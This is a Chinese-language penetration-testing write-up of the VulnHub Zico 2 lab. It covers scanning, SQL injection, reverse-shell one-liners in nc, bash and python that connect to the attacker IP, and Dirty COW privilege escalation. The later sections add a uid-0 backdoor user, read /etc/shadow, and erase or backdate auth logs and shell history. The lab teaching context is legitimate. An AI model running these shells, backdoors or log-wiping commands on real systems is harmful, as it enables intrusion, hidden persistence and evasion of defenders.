从Web渗透到内核提权:Zico 2靶机实战与脏牛漏洞深度解析

📅 2026/7/7 8:52:55 👁️ 阅读次数 📝 编程学习
从Web渗透到内核提权:Zico 2靶机实战与脏牛漏洞深度解析

1. 项目概述与核心价值

最近在VulnHub上发现一个挺有意思的靶机,叫Zico 2。这个靶机在圈内口碑不错,因为它模拟了一个相对真实的Web应用环境,并且最终需要利用一个经典的Linux内核漏洞——脏牛(Dirty COW)来完成提权,拿到最终的root权限。对于想从基础信息收集过渡到内核级漏洞利用的渗透测试学习者来说,这是一个绝佳的练手项目。我自己也花了些时间从头到尾走了一遍,过程中踩了几个坑,也总结出一些能让流程更顺畅的技巧。这篇文章,我就以一名渗透测试从业者的视角,把整个实战过程拆解开来,从环境准备到最终提权,每一步的操作、背后的原理以及我遇到的“坑”都详细记录下来。无论你是刚接触Kali和靶机的新手,还是想重温一下脏牛提权的老手,相信这篇实录都能给你带来一些直接的参考。

2. 环境准备与靶机部署

2.1 渗透测试环境搭建

工欲善其事,必先利其器。一个稳定、隔离的测试环境是安全研究的前提。我的基础环境是VMware Workstation Pro,当然你用VirtualBox完全没问题。关键点在于网络模式的选择。我强烈推荐使用“Host-Only”(仅主机)网络。为什么不是NAT或桥接?原因很简单:隔离与控制。Host-Only模式会在你的物理主机上创建一个虚拟的私有网络,只有你的物理机(Host)和虚拟机(Guest,比如Kali和靶机)在这个网络里,它们可以互相通信,但都无法直接访问外网。这完美模拟了一个内网渗透的场景,同时也避免了你的扫描或攻击行为意外影响到真实网络中的其他设备。

我的Kali Linux版本是滚动更新的最新版,确保所有工具都是当前最新的。在开始之前,有几项基础检查必须做:

  1. 网络连通性:在Kali中运行ip aifconfig,确认你获取到的IP地址是Host-Only网段内的(例如192.168.xxx.xxx)。同时,用ping命令测试一下物理主机的虚拟网卡IP,确保双向可达。
  2. 工具更新:虽然不连外网,但可以预先在能联网的环境下更新Kali和关键工具库。如果是在隔离环境,这一步可以跳过,但务必确认你的Kali镜像本身工具比较全。
  3. 靶机下载:从VulnHub官网下载Zico 2的OVA文件。导入VMware或VirtualBox时,务必将其网络适配器也设置为Host-Only模式,确保它和Kali在同一虚拟网络中。

注意:导入靶机后先不要启动,检查一下虚拟机的硬件设置。有些靶机默认内存给得比较小(如512MB),在运行某些服务时可能会卡顿甚至崩溃。我建议将内存调整到1GB或以上,体验会好很多。

2.2 靶机初始化与网络发现

将Kali和Zico 2靶机都启动后,第一件事就是找出靶机的IP地址。由于我们处在封闭的Host-Only网络中,靶机不会自动暴露其IP,我们需要主动去发现它。

最直接高效的方法是使用netdiscover工具。在Kali终端中输入:

sudo netdiscover -r 192.168.xxx.0/24

这里的192.168.xxx.0/24需要替换成你Host-Only网络的实际网段。netdiscover会以ARP协议主动扫描整个网段,很快就能列出所有在线设备的IP和MAC地址。通常,你自己的Kali IP和物理主机虚拟网卡IP会先出现,那个陌生的、主机名可能包含“Zico”或类似字样的IP就是靶机。

另一种更温和、更全面的方式是使用Nmap进行主机发现扫描:

sudo nmap -sn 192.168.xxx.0/24

-sn参数表示只进行Ping扫描(主机发现),不进行端口扫描。它能以更安静的方式列出存活主机。

拿到靶机IP(假设为192.168.56.105)后,不要急着深入扫描。先用一个快速的Ping测试确认基本连通性:ping -c 4 192.168.56.105。如果收到回复,恭喜你,环境搭建成功,可以开始正式的“狩猎”了。

3. 信息收集与漏洞初探

3.1 全面的端口与服务扫描

信息收集是渗透测试的基石,决定了后续所有攻击面的宽度。对于未知的靶机,一次全面的端口扫描是必须的。我习惯使用Nmap的-sV -sC -p-组合拳。

sudo nmap -sV -sC -p- 192.168.56.105 -oA zico_full_scan
  • -sV: 版本探测。它不仅告诉你端口是开是关,还会尝试识别运行在端口上的服务及其具体版本号(如Apache 2.4.38, OpenSSH 7.9p1)。版本信息是寻找对应漏洞的关键。
  • -sC: 默认脚本扫描。运行Nmap自带的、与服务和版本相关的安全脚本,有时能直接发现一些低悬果实,比如HTTP标题中的信息泄露、FTP匿名登录等。
  • -p-: 扫描所有65535个端口。默认Nmap只扫描最常见的1000个端口,但很多管理后台、非标应用会开在高端口,这个参数确保全覆盖。
  • -oA zico_full_scan: 将扫描结果以所有格式(Normal, XML, Grepable)输出到文件,方便后续查阅和分析。

扫描结果通常会显示几个关键端口。以Zico 2为例,很可能会看到:

  • 22/tcp: OpenSSH。这是远程管理端口,通常是暴力破解或版本漏洞的切入点。
  • 80/tcp: HTTP。Web服务,这是主战场,绝大部分漏洞和入口点都藏在这里。
  • 111/tcp: rpcbind。可能与NFS(网络文件系统)有关,是潜在的信息泄露或权限提升点。

3.2 Web应用深度侦察

发现80端口开放后,下一步就是对Web服务进行深度侦察。我一般会分三步走:

第一步:手动浏览与基础检查直接用浏览器访问http://192.168.56.105。看看网站长什么样,有什么功能点(登录、搜索、上传、留言等)。同时,立刻打开浏览器的开发者工具(F12),查看“网络”选项卡,关注加载了哪些额外的JS、CSS文件,以及“源代码”里有没有注释掉的敏感信息(如测试账号、内网路径、API接口)。

第二步:目录与文件枚举手动浏览能看到的只是冰山一角。我们需要用工具暴力枚举隐藏的目录和文件。这里我推荐gobuster,它速度快,字典全。

gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,zip,bak
  • dir: 指定进行目录枚举模式。
  • -u: 指定目标URL。
  • -w: 指定字典文件。common.txt是一个通用的、大小适中的字典。
  • -x: 指定要尝试的文件扩展名。很多网站后台可能是.php,备份文件可能是.bak.zip

这个扫描可能会发现诸如/admin/backup/uploads/robots.txt/index.php.bak等关键路径。务必仔细查看robots.txt文件,它有时会直接暴露管理员后台路径或禁止爬取的敏感目录。

第三步:针对性漏洞扫描对于发现的特定功能点(比如一个登录框、一个搜索框、一个上传点),要进行针对性测试。但我不建议一开始就用nikto或大型漏洞扫描器进行全面扫描,它们噪音大、速度慢,在CTF或实验环境中容易错过重点。更好的方法是,根据前面收集的信息(如CMS类型、框架版本),手动使用对应的漏洞利用框架(如searchsploit)进行搜索,或者用Burp Suite对关键功能点进行手动测试和流量抓取分析。

在Zico 2的侦察中,通过目录枚举,我们很可能发现一个关键的入口点,比如一个登录页面或者一个存在参数注入的页面,这将是我们下一步攻击的突破口。

4. 漏洞利用与初始访问获取

4.1 发现并利用Web漏洞

假设通过gobuster扫描,我们发现了/admin目录,访问后是一个登录页面。面对登录框,常见的思路有:弱口令爆破、SQL注入、逻辑漏洞(如密码重置)、寻找后台源码泄露等。

在Zico 2的场景中,一种典型的情况是存在SQL注入漏洞。可能是在登录框的username或password字段,也可能在网站其他地方的搜索参数中(如?id=)。我们可以使用sqlmap进行自动化检测和利用,但理解手动测试的原理更重要。

手动测试(以GET参数?user=admin为例):

  1. 探测注入点:提交?user=admin'。如果页面返回数据库错误(如MySQL、PostgreSQL的错误信息),则存在注入可能。
  2. 判断注入类型:提交?user=admin' AND '1'='1?user=admin' AND '1'='2。如果前者返回正常页面,后者返回异常或空,则基本确认是字符型注入。
  3. 利用联合查询获取数据:通过ORDER BY子句判断列数,然后使用UNION SELECT语句来读取数据库信息,例如:?user=' UNION SELECT 1, database(), user(), version() -- -这条语句可能爆出当前数据库名、数据库用户和版本。

使用sqlmap可以自动化这个过程并尝试获取更深入的数据(如表名、列名、数据)甚至获取一个交互式的shell:

sqlmap -u "http://192.168.56.105/vuln_page.php?id=1" --batch --dbs
  • -u: 指定目标URL。
  • --batch: 以非交互模式运行,所有默认选项都选是。
  • --dbs: 枚举所有数据库。

如果注入点存在且权限足够,sqlmap可以帮我们直接--os-shell,获取一个低权限的Web Shell。但在Zico 2中,更常见的路径可能是通过SQL注入获取到后台管理员账号密码的MD5哈希,然后破解或直接使用,登录到后台管理系统。

4.2 建立持久化访问通道

通过Web漏洞(可能是SQL注入、文件上传漏洞等)获得初始立足点后,我们通常只有一个非常受限的Web Shell(例如通过PHP的system()函数执行命令)。这种Shell不稳定、功能受限、没有交互性。我们需要将其升级为一个完整的、稳定的反向Shell。

1. 使用Netcat获取反向Shell首先在Kali攻击机上监听一个端口:

nc -lvnp 4444
  • -l: 监听模式。
  • -v: 详细输出。
  • -n: 直接使用IP地址,不进行DNS解析。
  • -p: 指定监听端口。

然后,在靶机的Web Shell中,执行一条反向连接命令。命令取决于靶机系统可用的工具:

  • 如果靶机有nc(netcat)nc 192.168.56.102 4444 -e /bin/bash(其中192.168.56.102是Kali的IP)。
  • 使用Bashbash -i >& /dev/tcp/192.168.56.102/4444 0>&1
  • 使用Pythonpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

执行成功后,Kali的Netcat监听端就会收到一个来自靶机的Shell。但这是一个“哑”Shell,没有提示符,不支持TAB补全、历史命令等。我们需要将其升级为完全交互式的TTY Shell。

2. 升级为完全交互式Shell在获得的Netcat Shell中,依次输入以下命令:

python -c 'import pty; pty.spawn("/bin/bash")' # 使用Python生成一个更好的PTY # 或者如果Python不可用,尝试:/usr/bin/script -qc /bin/bash /dev/null Ctrl+Z # 将当前会话挂起到后台 stty raw -echo # 在Kali主机终端中设置终端为原始模式,并关闭回显 fg # 将会话拉回前台 export TERM=xterm # 设置终端类型

完成这些步骤后,你就获得了一个功能完整的Shell,可以正常使用上下键、TAB补全、清屏(Ctrl+L)等功能了。现在,我们以普通用户身份(可能是www-data)登录到了靶机系统内部。

5. 权限提升:脏牛(Dirty COW)漏洞深度解析与利用

5.1 内核漏洞提权原理与背景

在Linux系统中,内核是操作系统的核心,拥有最高权限(root)。内核漏洞提权,是指利用操作系统内核代码中的安全缺陷,让一个普通权限的进程能够执行本应只有root才能执行的操作,从而获得系统的完全控制权。

脏牛(CVE-2016-5195)是Linux内核历史上一个非常著名且影响深远的漏洞。它的名字来源于漏洞相关的文件——Copy-On-Write(COW)机制。这个漏洞存在于Linux内核处理内存拷贝的方式中,具体来说,是在处理“写时复制”页面的竞态条件(Race Condition)时出现了问题。

简单类比一下:想象一个图书馆(内核)有一本珍贵的书(只读的内存页),A用户(低权限进程)和B用户(高权限进程)都想看。正常的“写时复制”机制是,如果A用户想在这本书上做笔记(写入),图书馆管理员会给他一本复印本(私有副本),让他在复印本上写,原书保持不变。但“脏牛”漏洞就像图书馆管理流程出了一个Bug:在A用户申请复印本,管理员正在找复印机的极短瞬间,A用户通过某种方式“欺骗”系统,让他直接在原书上做了修改,并且这个修改被系统误认为是合法的。这样一来,A用户就间接修改了他本无权修改的“原书”(内核关键数据),从而可能提升自己的权限。

这个漏洞之所以经典,是因为:

  1. 影响范围极广:从2007年的Linux内核版本2.6.22开始,直到2016年10月修复,近9年间几乎所有主流发行版(RHEL, Ubuntu, Debian, CentOS等)都受影响。
  2. 利用稳定可靠:利用代码(Exploit)相对成熟,成功率很高。
  3. 是竞态条件漏洞的典范:它完美展示了在多线程/多进程环境下,由于时间差导致的逻辑错误可能引发严重的安全问题。

5.2 靶机环境检测与利用准备

在拿到一个低权限Shell后,第一步永远是进行系统信息收集,判断提权的可能方向。

# 查看当前用户和权限 id whoami # 查看系统内核版本 uname -a cat /proc/version # 查看发行版信息 cat /etc/os-release lsb_release -a # 寻找SUID/SGID文件、可写目录、计划任务、sudo权限等 find / -perm -u=s -type f 2>/dev/null find / -type f -writable 2>/dev/null | grep -v /proc sudo -l # 如果当前用户在sudoers列表中

对于Zico 2靶机,uname -a的输出很可能显示一个较老的内核版本,比如3.x4.x早期版本,这正是脏牛漏洞的受影响范围。

确认内核版本存在潜在风险后,我们需要将漏洞利用代码上传到靶机。在Kali上,通常预置了脏牛的利用代码,位于/usr/share/exploitdb/exploits/linux/local/目录下。我们可以用searchsploit查找:

searchsploit dirty cow

会列出多个利用脚本,常见的有40839.cpp40847.cpp。我们选择一个,将其复制到当前目录,然后通过简单的HTTP服务上传到靶机。

在Kali上启动一个临时的HTTP服务器:

python3 -m http.server 8000

或者用PHP:php -S 0.0.0.0:8000

然后在靶机的Shell中,使用wgetcurl下载利用代码:

cd /tmp # 切换到可写目录 wget http://192.168.56.102:8000/40847.cpp

如果靶机没有wgetcurl,也可以用Netcat传输,或者更简单的方法:将利用代码复制到Kali的剪贴板,在靶机的Shell中(如果支持)直接cat > exploit.cpp,然后粘贴内容,按Ctrl+D保存。

5.3 编译与执行漏洞利用程序

下载的利用代码是C++源代码,需要在靶机上编译。首先检查靶机是否有GCC编译器:

which gcc gcc --version

如果有,直接编译:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
  • -pthread: 链接线程库,因为脏牛利用涉及多线程竞态。
  • -o dcow: 指定输出文件名为dcow

如果编译报错缺少某些头文件,可能需要根据错误信息调整代码(老版本靶机可能环境不完整),或者尝试使用其他版本的利用脚本。有时,利用脚本的作者会提供预编译的二进制文件,但直接运行未知二进制文件风险很高,在实验环境中可以尝试从其他可靠来源获取对应架构的编译版本。

编译成功后,运行它:

./dcow

成功的利用会输出一系列信息,显示它正在尝试竞争条件,最终会提示你获得了root权限。通常,它会将/etc/passwd文件备份为/tmp/passwd.bak,然后创建一个新的root用户(例如用户名为firefart,密码为空)写入到/etc/passwd。利用完成后,你可以切换到该用户:

su firefart

输入密码(为空,直接回车),如果看到命令提示符变成#,恭喜你,提权成功!你现在是root了。

重要注意事项与心得

  1. 多尝试:脏牛的利用过程存在竞态条件,不一定一次就成功。如果第一次运行没成功(没有创建新用户或su失败),多运行几次程序。有时需要运行5-10次才能成功触发。
  2. 备份文件:利用脚本通常会备份原/etc/passwd文件。提权成功后,务必记得恢复,以免破坏系统。命令通常是:cp /tmp/passwd.bak /etc/passwd
  3. 备用方案:如果某个利用脚本不工作,可以尝试searchsploit里其他的脏牛利用代码(如40839.cpp,40616.c等),编译和运行方式类似。
  4. 理解风险:在真实环境中,利用内核漏洞是风险极高的行为,可能导致系统崩溃(内核Panic)。仅在授权的测试环境或CTF中使用。

6. 后渗透与痕迹清理

6.1 巩固访问与信息收集

获得root权限后,渗透测试并未完全结束。在真实场景中,攻击者会试图巩固访问权限,收集更多敏感信息,并清理痕迹。

巩固访问:可以创建后门用户,或者安装SSH公钥实现免密登录。

# 添加一个具有root权限的隐藏用户(uid=0) echo "backdoor::0:0::/root:/bin/bash" >> /etc/passwd # 设置密码 passwd backdoor

或者,更隐蔽的方式是修改现有的、不常用的系统用户的密码或shell。

信息收集:以root身份可以访问所有文件。

# 查看历史命令,寻找管理员操作习惯 cat ~/.bash_history cat /root/.bash_history # 查看敏感配置文件 cat /etc/shadow # 密码哈希文件 cat /etc/ssh/sshd_config # SSH服务配置 # 查找数据库连接配置文件、网站源码中的硬编码密码 find /var/www /home -name "*.php" -o -name "*.env" -o -name "config*" | xargs grep -l "password\|PASS\|pwd" 2>/dev/null # 查看进程、网络连接、计划任务 ps aux netstat -tulnp crontab -l ls -la /etc/cron.*/

6.2 日志清理与痕迹抹除

Linux系统会记录大量日志,清除相关日志是隐藏行踪的必要步骤,但需要谨慎操作,因为全部删除或修改日志文件本身可能成为新的可疑迹象。

主要日志文件位置

  • /var/log/auth.log/var/log/secure: 认证相关日志(SSH登录、su、sudo等)。
  • /var/log/apache2/access.log,/var/log/apache2/error.log: Apache访问和错误日志。
  • /var/log/nginx/access.log,/var/log/nginx/error.log: Nginx日志。
  • /var/log/syslog,/var/log/messages: 系统通用日志。
  • ~/.bash_history: 当前用户和root用户的命令历史。

清理方法

  1. 直接删除或清空(不推荐,太明显):
    > /var/log/auth.log rm ~/.bash_history history -c && history -w # 清除当前会话历史并写入文件
  2. 选择性删除(更隐蔽):使用sedgrep -v删除包含你IP地址或用户名的特定行。
    # 删除auth.log中包含你Kali IP的行 sed -i '/192.168.56.102/d' /var/log/auth.log # 删除bash_history中包含敏感命令的行 sed -i '/nc\|wget\|curl\|exploit/d' ~/.bash_history
  3. 修改文件时间戳:使用touch命令将日志文件的时间戳修改为其他正常时间,使其看起来未被改动。
    touch -t 202310101000.00 /var/log/auth.log

实操心得:在CTF或实验环境中,通常不需要清理痕迹。但在模拟真实攻防演练时,需要了解这些步骤。请注意,高安全级别的环境可能有日志实时外发或防篡改机制,直接修改日志文件会触发告警。更高级的做法是攻击日志服务器或干扰日志收集进程,但这已超出基础提权的范畴。

7. 总结与反思

回顾整个Zico 2靶机的渗透流程,它是一条非常经典的学习路径:信息收集 -> Web漏洞发现与利用 -> 获取初始Shell -> 系统内部信息枚举 -> 内核漏洞提权。每一个环节都考验着对工具的理解和手动测试的思维。

脏牛提权虽然是一个“老”漏洞,但它的学习价值丝毫没有降低。它不仅仅是一个拿来即用的Exploit,更是一个理解Linux内核安全、竞态条件漏洞的绝佳案例。通过手动编译、运行、排错的过程,你能更深刻地体会到漏洞利用的条件和不确定性。

在实际操作中,我最大的体会有两点:一是耐心,信息收集一定要全面,不要看到一个入口就猛攻,漏掉的端口或目录可能就是更简单的突破口;二是灵活,当一个Exploit不work时,不要死磕,换一个版本,或者重新检查一下环境依赖(比如gcc版本、内核版本是否完全匹配),往往就能解决问题。

最后,务必记住,所有这些技术都必须在合法、授权的环境下进行。靶机环境为我们提供了安全的沙箱,让我们能够不断练习、试错、成长,最终目的是为了提升防御者的能力,构建更安全的系统。